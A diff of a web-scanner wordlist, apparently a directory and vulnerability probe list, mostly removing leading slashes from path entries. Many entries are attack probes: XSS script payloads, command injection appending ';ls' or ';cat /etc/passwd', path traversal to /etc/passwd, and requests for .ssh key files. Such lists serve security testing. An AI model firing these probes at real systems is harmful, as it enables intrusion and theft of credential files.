mail/addressaction.html?id=<USERID#>&newaddress=1&addressname=<script>alert('Vulnerable')</script>&addressemail=junk@example.com
|
mail/addressaction.html?id=<USERID#>&newaddress=1&addressname=<script>alert('Vulnerable')</script>&addressemail=junk@example.com
|
||||||
|
|
@ -1415,7 +1805,7 @@ cgi-bin/gbook/gbook.cgi?_MAILTO=xx;ls
|
||||||
cgi-bin/bslist.cgi?email=x;ls
|
cgi-bin/bslist.cgi?email=x;ls
|
||||||
cgi-bin/bsguest.cgi?email=x;ls
|
cgi-bin/bsguest.cgi?email=x;ls
|
||||||
cgi-bin/nbmember.cgi?cmd=list_all_users
|
cgi-bin/nbmember.cgi?cmd=list_all_users
|
||||||
/admin/admin.shtml
|
admin/admin.shtml
|
||||||
axis-cgi/buffer/command.cgi
|
axis-cgi/buffer/command.cgi
|
||||||
support/messages
|
support/messages
|
||||||
cgi-bin/where.pl?sd=ls%20/etc
|
cgi-bin/where.pl?sd=ls%20/etc
|
||||||
|
|
@ -1539,7 +1929,7 @@ iisadmpwd/aexp2b.htr
|
||||||
iisadmpwd/aexp3.htr
|
iisadmpwd/aexp3.htr
|
||||||
iisadmpwd/aexp4.htr
|
iisadmpwd/aexp4.htr
|
||||||
iisadmpwd/aexp4b.htr
|
iisadmpwd/aexp4b.htr
|
||||||
/admin/aindex.htm
|
admin/aindex.htm
|
||||||
cgi-bin/gbadmin.cgi?action=change_adminpass
|
cgi-bin/gbadmin.cgi?action=change_adminpass
|
||||||
cgi-bin/gbadmin.cgi?action=change_automail
|
cgi-bin/gbadmin.cgi?action=change_automail
|
||||||
cgi-bin/gbadmin.cgi?action=colors
|
cgi-bin/gbadmin.cgi?action=colors
|
||||||
|
|
@ -2803,8 +3193,8 @@ cgi-bin/.www_acl
|
||||||
.ssh/authorized_keys
|
.ssh/authorized_keys
|
||||||
.ssh/known_hosts
|
.ssh/known_hosts
|
||||||
cgi-bin/ls
|
cgi-bin/ls
|
||||||
///../../data/config/microsrv.cfg
|
//../../data/config/microsrv.cfg
|
||||||
///////../../../../../../etc/passwd
|
//////../../../../../../etc/passwd
|
||||||
_vti_bin/shtml.exe/_vti_rpc
|
_vti_bin/shtml.exe/_vti_rpc
|
||||||
doc/rt/overview-summary.html
|
doc/rt/overview-summary.html
|
||||||
docs/sdb/en/html/index.html
|
docs/sdb/en/html/index.html
|
||||||
|
|
@ -3071,7 +3461,7 @@ conspass.chl+
|
||||||
consport.chl+
|
consport.chl+
|
||||||
general.chl+
|
general.chl+
|
||||||
srvstatus.chl+
|
srvstatus.chl+
|
||||||
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
firewall/policy/dlg?q=-1&fzone=t<script>alert('Vulnerable')</script>>&tzone=dmz
|
firewall/policy/dlg?q=-1&fzone=t<script>alert('Vulnerable')</script>>&tzone=dmz
|
||||||
firewall/policy/policy?fzone=internal&tzone=dmz1<script>alert('Vulnerable')</script>
|
firewall/policy/policy?fzone=internal&tzone=dmz1<script>alert('Vulnerable')</script>
|
||||||
antispam/listdel?file=blacklist&name=b<script>alert('Vulnerable')</script>&startline=0
|
antispam/listdel?file=blacklist&name=b<script>alert('Vulnerable')</script>&startline=0
|
||||||
|
|
@ -3137,7 +3527,7 @@ scripts/tools/getdrvrs.exe
|
||||||
cgi-bin/webbbs/webbbs_config.pl?name=joe&email=test@example.com&body=aaaaffff&followup=10;cat%20/etc/passwd
|
cgi-bin/webbbs/webbbs_config.pl?name=joe&email=test@example.com&body=aaaaffff&followup=10;cat%20/etc/passwd
|
||||||
cgi-bin/vote.cgi
|
cgi-bin/vote.cgi
|
||||||
cgi-bin/quizme.cgi
|
cgi-bin/quizme.cgi
|
||||||
/
|
|
||||||
shop/normal_html.cgi?file=../../../../../../etc/issue%00
|
shop/normal_html.cgi?file=../../../../../../etc/issue%00
|
||||||
shop/normal_html.cgi?file=;cat%20/etc/passwd|
|
shop/normal_html.cgi?file=;cat%20/etc/passwd|
|
||||||
shop/normal_html.cgi?file=|cat%20/etc/passwd|
|
shop/normal_html.cgi?file=|cat%20/etc/passwd|
|
||||||
|
|
@ -3475,7 +3865,7 @@ _pages/_webapp/_admin/_showjavartdetails.java
|
||||||
_pages/_demo/
|
_pages/_demo/
|
||||||
_pages/_webapp/_jsp/
|
_pages/_webapp/_jsp/
|
||||||
_pages/_demo/_sql/
|
_pages/_demo/_sql/
|
||||||
/OA_HTML/_pages/
|
OA_HTML/_pages/
|
||||||
OA_HTML/webtools/doc/index.html
|
OA_HTML/webtools/doc/index.html
|
||||||
reports/rwservlet?server=repserv+report=/tmp/hacker.rdf+destype=cache+desformat=PDF
|
reports/rwservlet?server=repserv+report=/tmp/hacker.rdf+destype=cache+desformat=PDF
|
||||||
apex/
|
apex/
|
||||||
|
|
@ -4574,7 +4964,7 @@ webdfwag
|
||||||
webdmiag
|
webdmiag
|
||||||
webhead.gif
|
webhead.gif
|
||||||
xfc
|
xfc
|
||||||
/
|
|
||||||
HFM/
|
HFM/
|
||||||
HFM/Administration
|
HFM/Administration
|
||||||
HFM/Administration/ManageServersAndApplications.asp
|
HFM/Administration/ManageServersAndApplications.asp
|
||||||
|
|
@ -10433,4 +10823,4 @@ wps/wprs
|
||||||
wps/wsdl/*
|
wps/wsdl/*
|
||||||
wps_semanticTag
|
wps_semanticTag
|
||||||
wsrp
|
wsrp
|
||||||
/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/passwd
|
unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/passwd
|
||||||
Loading…
Reference in New Issue